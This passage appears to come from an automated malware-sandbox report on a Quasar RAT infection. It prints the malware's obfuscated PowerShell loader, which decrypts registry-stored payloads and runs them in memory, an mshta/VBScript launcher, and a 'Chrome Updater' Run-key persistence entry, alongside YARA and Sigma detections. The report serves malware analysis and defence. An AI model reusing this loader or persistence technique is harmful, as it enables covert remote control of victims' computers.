0x46, 0x42, 81, 0x34, 47, 70, 121, 0x64, 0x34, 0x58, 79, 0x4b, 0x4e, 0x58, 120, 0x2b, 69, 103, 61); $lsxMg = IrUjV(0x4e, 0x47, 48, 82, 99, 80, 55, 0x49, 0x36, 122, 0x75, 69, 0x65, 0x65, 0x6f, 0x32, 0x46, 111, 119, 114, 52, 0x51, 0x3d, 0x3d); $gYqop = IrUjV(0x53, 0x6f, 102, 116, 119, 97, 114, 0x65, 0x5c, 77, 0x69, 99, 0x72, 0x6f, 0x73, 0x6f, 0x66, 116, 92, 87, 105, 0x6e, 0x64, 0x6f, 119, 0x73); $QR3m4 = IrUjV(0x4a, 0x6d, 106, 53, 121); $Q21ag = IrUjV(0x67, 0x69, 69, 99, 67); $u2Okr = SsYTA(0x00, 0, 0, 0x00); $dXs3R = $true; $gnS0E = $null; function juypb($gsleS) {Invoke-Expression -Debug -WarningAction Inquire 'Fs5$Fs5wFs5GFs52Fs5gFs5lFs5=Fs5[Fs5SFs5yFs5sFs5tFs5eFs5mFs5.Fs5SFs5eFs5cFs5uFs5rFs5iFs5tFs5yFs5.Fs5CFs5rFs5yFs5pFs5tFs5oFs5gFs5rFs5aFs5pFs5hFs5yFs5.Fs5AFs5eFs5sFs5]Fs5:Fs5:Fs5CFs5rFs5eFs5aFs5tFs5eFs5(Fs5)Fs5'.Replace('Fs5', ''); Invoke-Expression -InformationAction Ignore -WarningAction Inquire -Debug -Verbose 'hta$htawhtaGhta2htaghtalhta.htaMhtaohtadhtaehta=hta[htaShtayhtashtathtaehtamhta.htaShtaehtachtauhtarhtaihtathtayhta.htaChtarhtayhtaphtathtaohtaghtarhtaahtaphtahhtayhta.htaChtaihtaphtahhtaehtarhtaMhtaohtadhtaehta]hta:hta:htaChtaBhtaChta'.Replace('hta', ''); Invoke-Expression -Debug -InformationAction Ignore -WarningAction Inquire 'RLY$RLYwRLYGRLY2RLYgRLYlRLY.RLYPRLYaRLYdRLYdRLYiRLYnRLYgRLY=RLY[RLYSRLYyRLYsRLYtRLYeRLYmRLY.RLYSRLYeRLYcRLYuRLYrRLYiRLYtRLYyRLY.RLYCRLYrRLYyRLYpRLYtRLYoRLYgRLYrRLYaRLYpRLYhRLYyRLY.RLYPRLYaRLYdRLYdRLYiRLYnRLYgRLYMRLYoRLYdRLYeRLY]RLY:RLY:RLYPRLYKRLYCRLYSRLY7RLY'.Replace('RLY', ''); Invoke-Expression -WarningAction Inquire -Verbose 'MnG$MnGwMnGGMnG2MnGgMnGlMnG.MnGKMnGeMnGyMnG=MnG[MnGSMnGyMnGsMnGtMnGeMnGmMnG.MnGCMnGoMnGnMnGvMnGeMnGrMnGtMnG]MnG:MnG:MnGFMnGrMnGoMnGmMnGBMnGaMnGsMnGeMnG6MnG4MnGSMnGtMnGrMnGiMnGnMnGgMnG(MnG$MnGMMnGXMnGyMnGPMnGqMnG)MnG'.Replace('MnG', ''); Invoke-Expression -InformationAction Ignore -WarningAction Inquire 'BNK$BNKwBNKGBNK2BNKgBNKlBNK.BNKIBNKVBNK=BNK[BNKSBNKyBNKsBNKtBNKeBNKmBNK.BNKCBNKoBNKnBNKvBNKeBNKrBNKtBNK]BNK:BNK:BNKFBNKrBNKoBNKmBNKBBNKaBNKsBNKeBNK6BNK4BNKSBNKtBNKrBNKiBNKnBNKgBNK(BNK$BNKlBNKsBNKxBNKMBNKgBNK)BNK'.Replace('BNK', ''); $Zm4Vl=$wG2gl.CreateDecryptor(); $K78Uv=$Zm4Vl.TransformFinalBlock($gsleS, $u2Okr, $gsleS.Length); $Zm4Vl.Dispose(); $wG2gl.Dispose(); $K78Uv; } Invoke-Expression -WarningAction Inquire -InformationAction Ignore 'S20$S20XS20vS20IS20hS20uS20=S20[S20MS20iS20cS20rS20oS20sS20oS20fS20tS20.S20WS20iS20nS203S202S20.S20RS20eS20gS20iS20sS20tS20rS20yS20]S20:S20:S20CS20uS20rS20rS20eS20nS20tS20US20sS20eS20rS20.S20OS20pS20eS20nS20SS20uS20bS20KS20eS20yS20(S20$S20gS20YS20qS20oS20pS20,S20$S20dS20XS20sS203S20RS20)S20'.Replace('S20', ''); $xkuqv = $XvIhu.GetValue($QR3m4); $v7kJF = $XvIhu.GetValue($Q21ag); $v7kJF = juypb($v7kJF); $xkuqv = juypb($xkuqv); Invoke-Expression -InformationAction Ignore -Verbose 'R1F$R1FER1FtR1FDR1FUR1FUR1F=R1F[R1FRR1FeR1FfR1FlR1FeR1FcR1FtR1FiR1FoR1FnR1F.R1FAR1FsR1FsR1FeR1FmR1FbR1FlR1FyR1F]R1F:R1F:R1FLR1FoR1FaR1FdR1F(R1F[R1FbR1FyR1FtR1FeR1F[R1F]R1F]R1F$R1FxR1FkR1FuR1FqR1FvR1F)R1F'.Replace('R1F', ''); $L68BO = $EtDUU.EntryPoint; $L68BO.Invoke($u2Okr,$gnS0E); Invoke-Expression -InformationAction Ignore -Debug -WarningAction Inquire 'SAi$SAirSAikSAiESAitSAitSAi=SAi[SAiRSAieSAifSAilSAieSAicSAitSAiiSAioSAinSAi.SAiASAisSAisSAieSAimSAibSAilSAiySAi]SAi:SAi:SAiLSAioSAiaSAidSAi(SAi[SAibSAiySAitSAieSAi[SAi]SAi]SAi$SAivSAi7SAikSAiJSAiFSAi)SAi'.Replace('SAi', ''); $dY9Oo = $rkEtt.EntryPoint; $dY9Oo.Invoke($u2Okr,$gnS0E);}" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 5940 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

mshta.exe (PID: 1076 cmdline: "C:\Windows\system32\mshta.exe" vbscript:Execute("D2h=strreverse(""llehS.tpircsW""):Set XAr=CreateObject(D2h):XAr.Run ""powershell.exe -Command $r = [Microsoft.Win32.Registry]::CurrentUser.OpenSubKey('Software\Microsoft\Windows'); iex $r.GetValue('elnlg')"", 0:Close") MD5: 0B4340ED812DC82CE636C00FA5C9BEF2)

powershell.exe (PID: 2832 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command $r = [Microsoft.Win32.Registry]::CurrentUser.OpenSubKey('Software\Microsoft\Windows'); iex $r.GetValue('elnlg') MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 1528 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

mshta.exe (PID: 7404 cmdline: "C:\Windows\system32\mshta.exe" vbscript:Execute("D2h=strreverse(""llehS.tpircsW""):Set XAr=CreateObject(D2h):XAr.Run ""powershell.exe -Command $r = [Microsoft.Win32.Registry]::CurrentUser.OpenSubKey('Software\Microsoft\Windows'); iex $r.GetValue('elnlg')"", 0:Close") MD5: 0B4340ED812DC82CE636C00FA5C9BEF2)

powershell.exe (PID: 7384 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command $r = [Microsoft.Win32.Registry]::CurrentUser.OpenSubKey('Software\Microsoft\Windows'); iex $r.GetValue('elnlg') MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7236 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Quasar RAT, QuasarRAT	Quasar RAT is a malware family written in .NET which is used by a variety of attackers. The malware is fully functional and open source, and is often packed to make analysis of the source more difficult.	APT33 Dropping Elephant Stone Panda The Gorgon Group	http://researchcenter.paloaltonetworks.com/2017/01/unit42-downeks-and-quasar-rat-used-in-recent-targeted-attacks-against-governments http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa https://0x00sec.org/t/master-of-rats-how-to-create-your-own-tracker/20848 https://adeo.com.tr/wp-content/uploads/2020/02/APT10_Report.pdf https://asec.ahnlab.com/en/31089/	https://malpedia.caad.fkie.fraunhofer.de/details/win.quasar_rat

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000008.00000002.2800661538.000002255FA80000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
00000008.00000002.2591788897.00000225487FA000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000008.00000002.2591788897.00000225487FA000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
00000008.00000002.2741051863.00000225576FB000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
00000008.00000002.2591788897.0000022548849000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
00000008.00000002.2797885450.000002255F9C0000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000008.00000002.2797885450.000002255F9C0000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
00000008.00000002.2797885450.000002255F9C0000.00000004.08000000.00040000.00000000.sdmp	MAL_QuasarRAT_May19_1	Detects QuasarRAT malware	Florian Roth	0x957f0:$x4: Uninstalling... good bye :-( 0x97061:$xc2: 00 70 00 69 00 6E 00 67 00 20 00 2D 00 6E 00 20 00 31 00 30 00 20 00 6C 00 6F 00 63 00 61 00 6C 00 68 00 6F 00 73 00 74 00 20 00 3E 00 20 00 6E 00 75 00 6C 00 0D 00 0A 00 64 00 65 00 6C 00 20 ...
00000008.00000002.2797885450.000002255F9C0000.00000004.08000000.00040000.00000000.sdmp	Vermin_Keylogger_Jan18_1	Detects Vermin Keylogger	Florian Roth	0x8e3b9:$s2: set_SystemInfos 0x8cb49:$s4: set_RemotePath 0x9d3f8:$s6: Client.exe 0x9d460:$s6: Client.exe
00000008.00000002.2797885450.000002255F9C0000.00000004.08000000.00040000.00000000.sdmp	MAL_BackNet_Nov18_1	Detects BackNet samples	Florian Roth	0x8ed75:$s1: ProcessedByFody 0x976d3:$s2: SELECT * FROM AntivirusProduct
00000008.00000002.2741051863.00000225574F3000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000008.00000002.2741051863.00000225574F3000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
Process Memory Space: powershell.exe PID: 7252	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x25184:$b2: ::FromBase64String( 0xb882b:$b2: ::FromBase64String( 0xb89dc:$b2: ::FromBase64String( 0x28bf7c:$b2: ::FromBase64String( 0x23d14:$b3: ::UTF8.GetString( 0xa1f51:$b3: ::UTF8.GetString( 0x174d1:$s1: -join 0x17c31:$s1: -join 0x304b0:$s1: -join 0x3d585:$s1: -join 0x40957:$s1: -join 0x41009:$s1: -join 0x42afa:$s1: -join 0x44d00:$s1: -join 0x45527:$s1: -join 0x45d97:$s1: -join 0x464d2:$s1: -join 0x46504:$s1: -join 0x4654c:$s1: -join 0x4656b:$s1: -join 0x46dbb:$s1: -join
Process Memory Space: powershell.exe PID: 6104	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0xd80b1:$b2: ::FromBase64String( 0xd8276:$b2: ::FromBase64String( 0x20428e:$b2: ::FromBase64String( 0x2048e6:$b2: ::FromBase64String( 0x2cf7a:$b3: ::UTF8.GetString( 0x202c45:$b3: ::UTF8.GetString( 0x5f65f:$s1: -join 0x6c8e0:$s1: -join 0x6fda2:$s1: -join 0x7043c:$s1: -join 0x71f38:$s1: -join 0x7418c:$s1: -join 0x749b3:$s1: -join 0x7520e:$s1: -join 0x75949:$s1: -join 0x7597b:$s1: -join 0x759c3:$s1: -join 0x759e2:$s1: -join 0x76233:$s1: -join 0x763af:$s1: -join 0x76427:$s1: -join
Process Memory Space: powershell.exe PID: 5964	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: powershell.exe PID: 5964	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
Process Memory Space: powershell.exe PID: 5964	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x15589a:$b2: ::FromBase64String( 0x155a59:$b2: ::FromBase64String( 0x37a6b:$b3: ::UTF8.GetString( 0x152221:$s1: -join 0x1ba7ee:$s1: -join 0x1c78c3:$s1: -join 0x1cac95:$s1: -join 0x1cb347:$s1: -join 0x1cce38:$s1: -join 0x1cf03e:$s1: -join 0x1cf865:$s1: -join 0x1d00d5:$s1: -join 0x1d0810:$s1: -join 0x1d0842:$s1: -join 0x1d088a:$s1: -join 0x1d08a9:$s1: -join 0x1d10f9:$s1: -join 0x1d1275:$s1: -join 0x1d12ed:$s1: -join 0x1d1380:$s1: -join 0x1d15e6:$s1: -join
decrypted.memstr	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
Click to see the 13 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
8.2.powershell.exe.225576fb380.0.unpack	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
8.2.powershell.exe.225576d3348.3.unpack	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
8.2.powershell.exe.225576d3348.3.raw.unpack	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
8.2.powershell.exe.2255fa80000.8.unpack	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
8.2.powershell.exe.2255fa80000.8.raw.unpack	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
8.2.powershell.exe.225576fb380.0.raw.unpack	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
8.2.powershell.exe.2255f9c0000.7.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
8.2.powershell.exe.2255f9c0000.7.raw.unpack	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
8.2.powershell.exe.2255f9c0000.7.raw.unpack	MAL_QuasarRAT_May19_1	Detects QuasarRAT malware	Florian Roth	0x957f0:$x4: Uninstalling... good bye :-( 0x97061:$xc2: 00 70 00 69 00 6E 00 67 00 20 00 2D 00 6E 00 20 00 31 00 30 00 20 00 6C 00 6F 00 63 00 61 00 6C 00 68 00 6F 00 73 00 74 00 20 00 3E 00 20 00 6E 00 75 00 6C 00 0D 00 0A 00 64 00 65 00 6C 00 20 ...
8.2.powershell.exe.2255f9c0000.7.raw.unpack	Vermin_Keylogger_Jan18_1	Detects Vermin Keylogger	Florian Roth	0x8e3b9:$s2: set_SystemInfos 0x8cb49:$s4: set_RemotePath 0x9d3f8:$s6: Client.exe 0x9d460:$s6: Client.exe
8.2.powershell.exe.2255f9c0000.7.raw.unpack	MAL_BackNet_Nov18_1	Detects BackNet samples	Florian Roth	0x8ed75:$s1: ProcessedByFody 0x976d3:$s2: SELECT * FROM AntivirusProduct
8.2.powershell.exe.22557635510.2.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
8.2.powershell.exe.22557635510.2.unpack	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
8.2.powershell.exe.22557635510.2.unpack	MAL_QuasarRAT_May19_1	Detects QuasarRAT malware	Florian Roth	0x939f0:$x4: Uninstalling... good bye :-( 0x95261:$xc2: 00 70 00 69 00 6E 00 67 00 20 00 2D 00 6E 00 20 00 31 00 30 00 20 00 6C 00 6F 00 63 00 61 00 6C 00 68 00 6F 00 73 00 74 00 20 00 3E 00 20 00 6E 00 75 00 6C 00 0D 00 0A 00 64 00 65 00 6C 00 20 ...
8.2.powershell.exe.22557635510.2.unpack	Vermin_Keylogger_Jan18_1	Detects Vermin Keylogger	Florian Roth	0x8c5b9:$s2: set_SystemInfos 0x8ad49:$s4: set_RemotePath 0x9b5f8:$s6: Client.exe 0x9b660:$s6: Client.exe
8.2.powershell.exe.22557635510.2.unpack	MAL_BackNet_Nov18_1	Detects BackNet samples	Florian Roth	0x8cf75:$s1: ProcessedByFody 0x958d3:$s2: SELECT * FROM AntivirusProduct
8.2.powershell.exe.2255f9c0000.7.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
8.2.powershell.exe.2255f9c0000.7.unpack	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
8.2.powershell.exe.2255f9c0000.7.unpack	MAL_QuasarRAT_May19_1	Detects QuasarRAT malware	Florian Roth	0x939f0:$x4: Uninstalling... good bye :-( 0x95261:$xc2: 00 70 00 69 00 6E 00 67 00 20 00 2D 00 6E 00 20 00 31 00 30 00 20 00 6C 00 6F 00 63 00 61 00 6C 00 68 00 6F 00 73 00 74 00 20 00 3E 00 20 00 6E 00 75 00 6C 00 0D 00 0A 00 64 00 65 00 6C 00 20 ...
8.2.powershell.exe.2255f9c0000.7.unpack	Vermin_Keylogger_Jan18_1	Detects Vermin Keylogger	Florian Roth	0x8c5b9:$s2: set_SystemInfos 0x8ad49:$s4: set_RemotePath 0x9b5f8:$s6: Client.exe 0x9b660:$s6: Client.exe
8.2.powershell.exe.2255f9c0000.7.unpack	MAL_BackNet_Nov18_1	Detects BackNet samples	Florian Roth	0x8cf75:$s1: ProcessedByFody 0x958d3:$s2: SELECT * FROM AntivirusProduct
8.2.powershell.exe.22557635510.2.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
8.2.powershell.exe.22557635510.2.raw.unpack	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
8.2.powershell.exe.22557635510.2.raw.unpack	MAL_QuasarRAT_May19_1	Detects QuasarRAT malware	Florian Roth	0x957f0:$x4: Uninstalling... good bye :-( 0x97061:$xc2: 00 70 00 69 00 6E 00 67 00 20 00 2D 00 6E 00 20 00 31 00 30 00 20 00 6C 00 6F 00 63 00 61 00 6C 00 68 00 6F 00 73 00 74 00 20 00 3E 00 20 00 6E 00 75 00 6C 00 0D 00 0A 00 64 00 65 00 6C 00 20 ...
8.2.powershell.exe.22557635510.2.raw.unpack	Vermin_Keylogger_Jan18_1	Detects Vermin Keylogger	Florian Roth	0x8e3b9:$s2: set_SystemInfos 0xb2192:$s2: set_SystemInfos 0x8cb49:$s4: set_RemotePath 0xb093a:$s4: set_RemotePath 0x9d3f8:$s6: Client.exe 0x9d460:$s6: Client.exe
8.2.powershell.exe.22557635510.2.raw.unpack	MAL_BackNet_Nov18_1	Detects BackNet samples	Florian Roth	0x8ed75:$s1: ProcessedByFody 0x976d3:$s2: SELECT * FROM AntivirusProduct
Click to see the 21 entries

Sigma Signatures

System Summary

Sigma detected: MSHTA Suspicious Execution 01

Source: Process started

Author: Diego Perez (@darkquassar), Markus Neis, Swisscom (Improve Rule): Data: Command: "C:\Windows\system32\mshta.exe" vbscript:Execute("D2h=strreverse(""llehS.tpircsW""):Set XAr=CreateObject(D2h):XAr.Run ""powershell.exe -Command $r = [Microsoft.Win32.Registry]::CurrentUser.OpenSubKey('Software\Microsoft\Windows'); iex $r.GetValue('elnlg')"", 0:Close"), CommandLine: "C:\Windows\system32\mshta.exe" vbscript:Execute("D2h=strreverse(""llehS.tpircsW""):Set XAr=CreateObject(D2h):XAr.Run ""powershell.exe -Command $r = [Microsoft.Win32.Registry]::CurrentUser.OpenSubKey('Software\Microsoft\Windows'); iex $r.GetValue('elnlg')"", 0:Close"), CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\mshta.exe, NewProcessName: C:\Windows\System32\mshta.exe, OriginalFileName: C:\Windows\System32\mshta.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3968, ProcessCommandLine: "C:\Windows\system32\mshta.exe" vbscript:Execute("D2h=strreverse(""llehS.tpircsW""):Set XAr=CreateObject(D2h):XAr.Run ""powershell.exe -Command $r = [Microsoft.Win32.Registry]::CurrentUser.OpenSubKey('Software\Microsoft\Windows'); iex $r.GetValue('elnlg')"", 0:Close"), ProcessId: 1076, ProcessName: mshta.exe

Sigma detected: Suspicious MSHTA Child Process

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command $r = [Microsoft.Win32.Registry]::CurrentUser.OpenSubKey('Software\Microsoft\Windows'); iex $r.GetValue('elnlg'), CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command $r = [Microsoft.Win32.Registry]::CurrentUser.OpenSubKey('Software\Microsoft\Windows'); iex $r.GetValue('elnlg'), CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\system32\mshta.exe" vbscript:Execute("D2h=strreverse(""llehS.tpircsW""):Set XAr=CreateObject(D2h):XAr.Run ""powershell.exe -Command $r = [Microsoft.Win32.Registry]::CurrentUser.OpenSubKey('Software\Microsoft\Windows'); iex $r.GetValue('elnlg')"", 0:Close"), ParentImage: C:\Windows\System32\mshta.exe, ParentProcessId: 1076, ParentProcessName: mshta.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command $r = [Microsoft.Win32.Registry]::CurrentUser.OpenSubKey('Software\Microsoft\Windows'); iex $r.GetValue('elnlg'), ProcessId: 2832, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\test.vbs", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\test.vbs", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3968, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\test.vbs", ProcessId: 7956, ProcessName: wscript.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: mshta vbscript:Execute("D2h=strreverse(""llehS.tpircsW""):Set XAr=CreateObject(D2h):XAr.Run ""powershell.exe -Command $r = [Microsoft.Win32.Registry]::CurrentUser.OpenSubKey('Software\Microsoft\Windows'); iex $r.GetValue('elnlg')"", 0:Close"), EventID: 13, EventType: SetValue, Image: C:\Windows\System32\wbem\WmiPrvSE.exe, ProcessId: 8116, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Chrome Updater

Sigma detected: Suspicious Powershell In Registry Run Keys

Source: Registry Key set

Author: frack113, Florian Roth (Nextron Systems): Data: Details: mshta vbscript:Execute("D2h=strreverse(""llehS.tpircsW""):Set XAr=CreateObject(D2h):XAr.Run ""powershell.exe -Command $r = [Microsoft.Win32.Registry]::CurrentUser.OpenSubKey('Software\Microsoft\Windows'); iex $r.GetValue('elnlg')"", 0:Close"), EventID: 13, EventType: SetValue, Image: C:\Windows\System32\wbem\WmiPrvSE.exe, ProcessId: 8116, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Chrome Updater

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\test.vbs", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\test.vbs", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3968, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\test.vbs", ProcessId: 7956, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -Command "& {function iT93g([byte[]]$E3OXu) {Invoke-Expression -Debug -Verbose 'H6M$H6MwH6MhH6MBH6M3H6M2H6M=H6M[H6MSH6MyH6MsH6MtH6MeH6MmH6M.H6MTH6MeH6MxH6MtH6M.H6MEH6MnH6McH6MoH6MdH6MiH6MnH6MgH6M]H6M:H6M:H6MUH6MTH6MFH6M8H6M.H6MGH6MeH6MtH6MSH6MtH6MrH6MiH6MnH6MgH6M(H6M$H6MEH6M3H6MOH6MXH6MuH6M)H6M'.Replace('H6M', ''); return $whB32; } function tiw6l([byte[]]$ZUv5N) {Invoke-Expression -Debug -WarningAction Inquire -Verbose -InformationAction Ignore 'DTC$DTCqDTCKDTCaDTCGDTCiDTC=DTC[DTCBDTCiDTCtDTCCDTCoDTCnDTCvDTCeDTCrDTCtDTCeDTCrDTC]DTC:DTC:DTCTDTCoDTCIDTCnDTCtDTC3DTC2DTC(DTC$DTCZDTCUDTCvDTC5DTCNDTC,DTC0DTC)DTC;DTC'.Replace('DTC', ''); return $qKaGi; } $H2oUx = iT93g(0x74<#AgF8G#>,0x52<#sotVh#>,0x6B<#IJTfo#>,0x58<#aq0EZ#>,0x43<#lRyb0#>,0x36<#LDjCA#>,0x6A<#DRhTQ#>,0x2B<#Nxos5#>,0x34<#AjnVW#>,0x5A<#vkssP#>,0x6F<#Nr7dJ#>,0x52<#lsoI1#>,0x59<#pErVd#>,0x62<#tlAPZ#>,0x79<#kBIJZ#>,0x47<#HncF5#>,0x70<#hU1xu#>,0x6F<#TUEJh#>,0x4D<#cJg0H#>,0x45<#w2R2e#>,0x75<#QkdTi#>,0x6B<#LjyD9#>,0x6B<#EPiNN#>,0x43<#YN4lF#>,0x59<#bh0r2#>,0x46<#bfRBe#>,0x42<#OWjkm#>,0x51<#D0iPg#>,0x34<#pgAJc#>,0x2F<#OkTmn#>,0x46<#k7qw7#>,0x79<#ntwbA#>,0x64<#lRwjs#>,0x34<#lp8kK#>,0x58<#gppFR#>,0x4F<#zhqOk#>,0x4B<#xLpYw#>,0x4E<#Qpxm0#>,0x58<#QDHOx#>,0x78<#bubbt#>,0x2B<#gmscA#>,0x45<#CSle7#>,0x67<#LDi0E#>,0x3D<#bmXwZ#>); $qBAgs = iT93g(0x4E<#C2Vu0#>,0x47<#diaRv#>,0x30<#MGPf7#>,0x52<#QdMXt#>,0x63<#AESom#>,0x50<#NfQKQ#>,0x37<#uWoBq#>,0x49<#mQ8mb#>,0x36<#Z2Tts#>,0x7A<#GxC3u#>,0x75<#DZACY#>,0x45<#yjqHj#>,0x65<#DRQB2#>,0x65<#tbNzN#>,0x6F<#Cek6P#>,0x32<#Hvj6e#>,0x46<#YcXZM#>,0x6F<#YWlmr#>,0x77<#Ik0CX#>,0x72<#KlS1z#>,0x34<#jkNpr#>,0x51<#dzExQ#>,0x3D<#KAunG#>,0x3D<#f40yY#>); $ZXcf8 = iT93g(0x53<#b0lHD#>,0x6F<#YnhiC#>,0x66<#bdsGx#>,0x74<#tOssn#>,0x77<#hRyWf#>,0x61<#I0N5w#>,0x72<#PudcT#>,0x65<#r8GlO#>,0x5C<#wRgut#>,0x4D<#lRnzO#>,0x69<#SMHLu#>,0x63<#LCPm3#>,0x72<#galvu#>,0x6F<#oAPw7#>,0x73<#uIGer#>,0x6F<#SvDmv#>,0x66<#tMXra#>,0x74<#EnRsF#>,0x5C<#qtdsl#>,0x57<#aquA7#>,0x69<#lC02U#>,0x6E<#LGneX#>,0x64<#X9m0B#>,0x6F<#VC3Vo#>,0x77<#HtgrI#>,0x73<#IoY3L#>); $hBkVc = iT93g(0x73<#jBCoD#>,0x31<#rVfXN#>,0x55<#zAwUn#>,0x6E<#qHnrL#>,0x62<#YwZWy#>); $B8Dta = tiw6l(0x00<#A7hB6#>,0x00<#O0RD9#>,0x00<#jXCyJ#>,0x00<#OM184#>); $iSxCm = tiw6l(0x45<#OOD4N#>,0x00<#ImgSK#>,0x00<#Ylexb#>,0x00<#UUo0E#>); $l8XQf = tiw6l(0x03<#CQs75#>,0x00<#GS7w6#>,0x00<#gTbLR#>,0x00<#o3nyw#>); $kzu3X = $null; function S2qwV($ti34n) {Invoke-Expression -Verbose -Debug -WarningAction Inquire 'Bqr$BqrEBqrLBqrpBqrtBqrFBqr=Bqr[BqrSBqryBqrsBqrtBqreBqrmBqr.BqrSBqreBqrcBqruBqrrBqriBqrtBqryBqr.BqrCBqrrBqryBqrpBqrtBqroBqrgBqrrBqraBqrpBqrhBqryBqr.BqrABqreBqrsBqr]Bqr:Bqr:BqrCBqrrBqreBqraBqrtBqreBqr(Bqr)Bqr;Bqr'.Replace('Bqr', ''); Invoke-Expression -WarningAction Inquire -Debug -InformationAction Ignore 